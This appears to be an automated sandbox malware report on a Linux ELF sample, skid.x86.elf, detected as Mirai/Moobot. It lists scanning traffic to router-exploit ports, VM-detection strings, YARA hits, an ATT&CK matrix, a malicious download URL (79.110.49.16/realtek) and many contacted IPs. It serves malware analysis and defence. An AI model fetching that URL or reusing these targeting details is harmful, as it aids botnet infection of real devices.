Source: unknown	Network traffic detected: HTTP traffic on port 51902 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47648 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47648 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51902 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47648 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47648 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51902 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53026 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47648 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39100 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48588 -> 37215

Source: /usr/sbin/logrotate (PID: 6187)	Truncated file: /var/log/cups/access_log.1			Jump to behavior
Source: /usr/sbin/logrotate (PID: 6187)	Truncated file: /var/log/syslog.1			Jump to behavior

Source: 6228.8.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 6228.8.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 6228.8.dr	Binary or memory string: qemu-or1k
Source: 6228.8.dr	Binary or memory string: qemu-riscv64
Source: 6228.8.dr	Binary or memory string: {cqemu
Source: 6228.8.dr	Binary or memory string: qemu-arm
Source: 6228.8.dr	Binary or memory string: (qemu
Source: 6228.8.dr	Binary or memory string: qemu-tilegx
Source: 6228.8.dr	Binary or memory string: qemu-hppa
Source: 6228.8.dr	Binary or memory string: q{rqemu%
Source: 6228.8.dr	Binary or memory string: )qemu
Source: 6228.8.dr	Binary or memory string: vmware-toolbox-cmd
Source: 6228.8.dr	Binary or memory string: qemu-ppc
Source: 6228.8.dr	Binary or memory string: Tqemu9
Source: 6228.8.dr	Binary or memory string: qemu-aarch64_be
Source: 6228.8.dr	Binary or memory string: 0qemu9
Source: 6228.8.dr	Binary or memory string: qemu-sparc64
Source: 6228.8.dr	Binary or memory string: qemu-mips64
Source: 6228.8.dr	Binary or memory string: vV:qemu9
Source: 6228.8.dr	Binary or memory string: qemu-ppc64le
Source: 6228.8.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 6228.8.dr	Binary or memory string: vmware
Source: 6228.8.dr	Binary or memory string: qemu-cris
Source: 6228.8.dr	Binary or memory string: libvmtools
Source: 6228.8.dr	Binary or memory string: qemu-m68k
Source: 6228.8.dr	Binary or memory string: qemu-xtensa
Source: 6228.8.dr	Binary or memory string: 9qemu
Source: 6228.8.dr	Binary or memory string: qemu-sh4
Source: 6228.8.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: 6228.8.dr	Binary or memory string: .qemu{
Source: 6228.8.dr	Binary or memory string: qemu-ppc64abi32
Source: 6228.8.dr	Binary or memory string: qemu-ppc64
Source: 6228.8.dr	Binary or memory string: qemu-i386
Source: 6228.8.dr	Binary or memory string: qemu-x86_64
Source: 6228.8.dr	Binary or memory string: H~6\nqemu*q
Source: 6228.8.dr	Binary or memory string: @qemu
Source: 6228.8.dr	Binary or memory string: Fqqemu
Source: 6228.8.dr	Binary or memory string: N4qemu
Source: 6228.8.dr	Binary or memory string: ~6\nqemu*q
Source: 6228.8.dr	Binary or memory string: qemu-mips64el
Source: 6228.8.dr	Binary or memory string: hqemu
Source: 6228.8.dr	Binary or memory string: &mqemu
Source: 6228.8.dr	Binary or memory string: $qemu
Source: 6228.8.dr	Binary or memory string: qemu-sparc
Source: 6228.8.dr	Binary or memory string: qemu-microblaze
Source: 6228.8.dr	Binary or memory string: qemu-user
Source: 6228.8.dr	Binary or memory string: qemu-aarch64
Source: 6228.8.dr	Binary or memory string: qemu-sh4eb
Source: 6228.8.dr	Binary or memory string: iqemu
Source: 6228.8.dr	Binary or memory string: qemu-mipsel
Source: 6228.8.dr	Binary or memory string: qemuP`
Source: 6228.8.dr	Binary or memory string: qemu-alpha
Source: 6228.8.dr	Binary or memory string: qemu-microblazeel
Source: 6228.8.dr	Binary or memory string: \qemu
Source: 6228.8.dr	Binary or memory string: qemu-xtensaeb
Source: 6228.8.dr	Binary or memory string: qemu-mipsn32el
Source: 6228.8.dr	Binary or memory string: SAqemu
Source: 6228.8.dr	Binary or memory string: Vqemu
Source: 6228.8.dr	Binary or memory string: qemu-mipsn32
Source: 6228.8.dr	Binary or memory string: qemuAU
Source: 6228.8.dr	Binary or memory string: qemu-riscv32
Source: 6228.8.dr	Binary or memory string: qemu-sparc32plus
Source: 6228.8.dr	Binary or memory string: 7,qemu
Source: 6228.8.dr	Binary or memory string: qemu-s390x
Source: 6228.8.dr	Binary or memory string: vmware-checkvm
Source: 6228.8.dr	Binary or memory string: qemu-nios2
Source: 6228.8.dr	Binary or memory string: qemu-armeb
Source: 6228.8.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 6228.8.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 6228.8.dr	Binary or memory string: I_qemu
Source: 6228.8.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 6228.8.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 6228.8.dr	Binary or memory string: qemu-mips
Source: 6228.8.dr	Binary or memory string: qemuj\
Source: 6228.8.dr	Binary or memory string: {qemuQ&
Source: 6228.8.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 6228.8.dr	Binary or memory string: vmware-xferlogs

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: skid.x86.elf, type: SAMPLE
Source: Yara match	File source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skid.x86.elf PID: 6278, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: skid.x86.elf, type: SAMPLE
Source: Yara match	File source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skid.x86.elf PID: 6278, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: skid.x86.elf, type: SAMPLE
Source: Yara match	File source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skid.x86.elf PID: 6278, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: skid.x86.elf, type: SAMPLE
Source: Yara match	File source: 6278.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skid.x86.elf PID: 6278, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	1 Systemd Service	1 Systemd Service	2 File and Directory Permissions Modification	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Indicator Removal on Host	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
skid.x86.elf	79%	ReversingLabs	Linux.Trojan.Mirai
skid.x86.elf	61%	Virustotal		Browse
skid.x86.elf	100%	Avira	EXP/ELF.Gafgyt.Gen.X
skid.x86.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://79.110.49.16/realtek;	100%	Avira URL Cloud	phishing

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding//%22%3E	skid.x86.elf	false		high
http://schemas.xmlsoap.org/soap/encoding/	skid.x86.elf	false		high
http://79.110.49.16/realtek;	skid.x86.elf	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/soap/envelope//	skid.x86.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	skid.x86.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
197.191.86.144	unknown	Ghana	37140	zain-asGH	false
41.198.255.145	unknown	South Africa	328306	Avanti-ASZA	false
41.152.179.58	unknown	Egypt	36992	ETISALAT-MISREG	false
156.23.161.160	unknown	United States	29975	VODACOM-ZA	false
41.14.115.101	unknown	South Africa	29975	VODACOM-ZA	false
190.78.144.252	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	false
41.187.159.165	unknown	Egypt	20928	NOOR-ASEG	false
197.224.41.158	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.246.150.150	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
156.72.230.189	unknown	United States	29975	VODACOM-ZA	false
46.217.209.188	unknown	Macedonia	6821	MT-AS-OWNbulOrceNikolovbbMK	false
156.3.205.242	unknown	United States	2920	LACOEUS	false
189.149.85.76	unknown	Mexico	8151	UninetSAdeCVMX	false
197.117.202.146	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.143.83.134	unknown	United States	14319	FURMAN-2US	false
41.193.135.16	unknown	South Africa	11845	Vox-TelecomZA	false
197.196.64.241	unknown	Egypt	36992	ETISALAT-MISREG	false
41.217.127.104	unknown	Nigeria	37340	SpectranetNG	false
171.129.35.103	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
156.141.177.44	unknown	United States	29975	VODACOM-ZA	false
156.249.231.172	unknown	Seychelles	26484	IKGUL-26484US	false
1.132.181.175	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
197.249.194.138	unknown	Mozambique	25139	TVCABO-ASEU	false
136.101.175.213	unknown	United States	60311	ONEFMCH	false
41.228.223.136	unknown	Tunisia	37693	TUNISIANATN	false
156.211.246.195	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.8.250.187	unknown	South Africa	3741	ISZA	false
197.18.83.240	unknown	Tunisia	37693	TUNISIANATN	false
156.2.60.132	unknown	United States	29975	VODACOM-ZA	false
41.42.142.176	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.5.232.44	unknown	United States	29975	VODACOM-ZA	false
197.55.82.103	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.46.129.91	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.221.56.215	unknown	South Africa	37153	xneeloZA	false
197.39.104.89	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.130.158.105	unknown	United States	29975	VODACOM-ZA	false
156.183.30.21	unknown	Egypt	36992	ETISALAT-MISREG	false
197.90.198.180	unknown	South Africa	10474	OPTINETZA	false
156.189.23.147	unknown	Egypt	36992	ETISALAT-MISREG	false
41.228.223.123	unknown	Tunisia	37693	TUNISIANATN	false
42.124.164.245	unknown	Japan	10010	TOKAITOKAICommunicationsCorporationJP	false
156.203.180.108	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.226.240.24	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.231.123.199	unknown	Seychelles	54600	PEGTECHINCUS	false
41.34.127.187	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.203.15.77	unknown	South Africa	37153	xneeloZA	false
197.16.236.35	unknown	Tunisia	37693	TUNISIANATN	false
197.190.151.171	unknown	Ghana	37140	zain-asGH	false
48.128.103.83	unknown	United States	2686	ATGS-MMD-ASUS	false
154.66.84.56	unknown	Guinea	37603	GameZone-ASAO	false
41.186.210.238	unknown	Rwanda	36890	MTNRW-ASNRW	false
197.132.199.67	unknown	Egypt	24835	RAYA-ASEG	false
156.22.182.38	unknown	Australia	29975	VODACOM-ZA	false
197.251.50.157	unknown	Sudan	37197	SUDRENSD	false
197.205.198.199	unknown	Algeria	36947	ALGTEL-ASDZ	false
166.209.8.19	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
58.204.243.83	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
156.108.54.100	unknown	United States	36081	STATE-OF-COLORADO-MNT-NETWORKUS	false
156.55.64.16	unknown	United States	20746	ASN-IDCTNOOMINCIT	false
152.232.117.151	unknown	Brazil	7738	TelemarNorteLesteSABR	false
41.121.31.92	unknown	South Africa	16637	MTNNS-ASZA	false
128.125.14.159	unknown	United States	47	USC-ASUS	false
197.184.139.214	unknown	South Africa	37105	NEOLOGY-ASZA	false
197.121.74.199	unknown	Egypt	36992	ETISALAT-MISREG	false
197.42.235.239	unknown	Egypt	8452	TE-ASTE-ASEG	false
162.153.29.136	unknown	United States	10796	TWC-10796-MIDWESTUS	false
156.196.170.181	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.202.209.164	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.125.137.52	unknown	United States	393504	XNSTGCA	false
197.211.91.16	unknown	South Africa	29918	IMPOL-ASNZA	false
34.53.188.35	unknown	United States	2686	ATGS-MMD-ASUS	false
126.75.104.8	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
41.85.32.132	unknown	South Africa	22355	FROGFOOTZA	false
156.115.143.116	unknown	Switzerland	59630	NN_INSURANCE_EURASIA_NV_ITH-ASNL	false
41.237.139.102	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.214.107.215	unknown	Nigeria	198504	LU1AE	false
102.63.124.81	unknown	Egypt	36992	ETISALAT-MISREG	false
41.35.57.46	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.254.22.204	unknown	Seychelles	394281	XHOSTSERVERUS	false
197.134.36.208	unknown	Egypt	24835	RAYA-ASEG	false
197.90.49.56	unknown	South Africa	10474	OPTINETZA	false
41.70.6.184	unknown	Malawi	24835	RAYA-ASEG	false
197.212.239.123	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
197.192.141.1	unknown	Egypt	36992	ETISALAT-MISREG	false
17.219.244.219	unknown	United States	714	APPLE-ENGINEERINGUS	false
197.217.213.40	unknown	Angola	11259	ANGOLATELECOMAO	false
62.194.150.131	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
156.228.141.244	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
156.76.113.230	unknown	United States	6341	WIECUS	false
197.166.249.1	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.112.197.114	unknown	United States	5961	DNIC-ASBLK-05800-06055US	false
41.51.170.40	unknown	South Africa	37168	CELL-CZA	false
197.177.27.79	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.76.191.216	unknown	Kenya	37225	NETWIDEZA	false
41.242.158.72	unknown	unknown	328594	SUDATCHAD-ASTD	false
41.167.147.129	unknown	South Africa	36937	Neotel-ASZA	false
156.92.204.62	unknown	United States	10695	WAL-MARTUS	false
197.169.124.234	unknown	South Africa	37168	CELL-CZA	false
156.215.253.248	unknown	Egypt	8452	TE-ASTE-ASEG	false
124.105.37.86	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.191.86.144	E6jQJs2ijc.elf	Get hash	malicious	Mirai	Browse
197.191.86.144	Z3W7W8QFB8.elf	Get hash	malicious	Mirai, Moobot	Browse
41.198.255.145	bk.arm7-20220930-2026.elf	Get hash	malicious	Mirai	Browse
41.198.255.145	Sq4dM4bao1	Get hash	malicious	Mirai	Browse
41.152.179.58	y5WwMBeTqh	Get hash	malicious	Mirai	Browse
41.152.179.58	3XVTeL2yOE	Get hash	malicious	Mirai	Browse
41.14.115.101	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	48sKA73kvQ.elf	Get hash	malicious	Mirai	Browse
	bk.arm7-20220928-0056.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
zain-asGH	skid.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	197.190.238.239
	skid.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	197.190.103.248
	z3hir.x86.elf	Get hash	malicious	Mirai	Browse	45.209.202.212
	x86-20230706-2123.elf	Get hash	malicious	Mirai	Browse	197.190.12.203
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.190.12.215
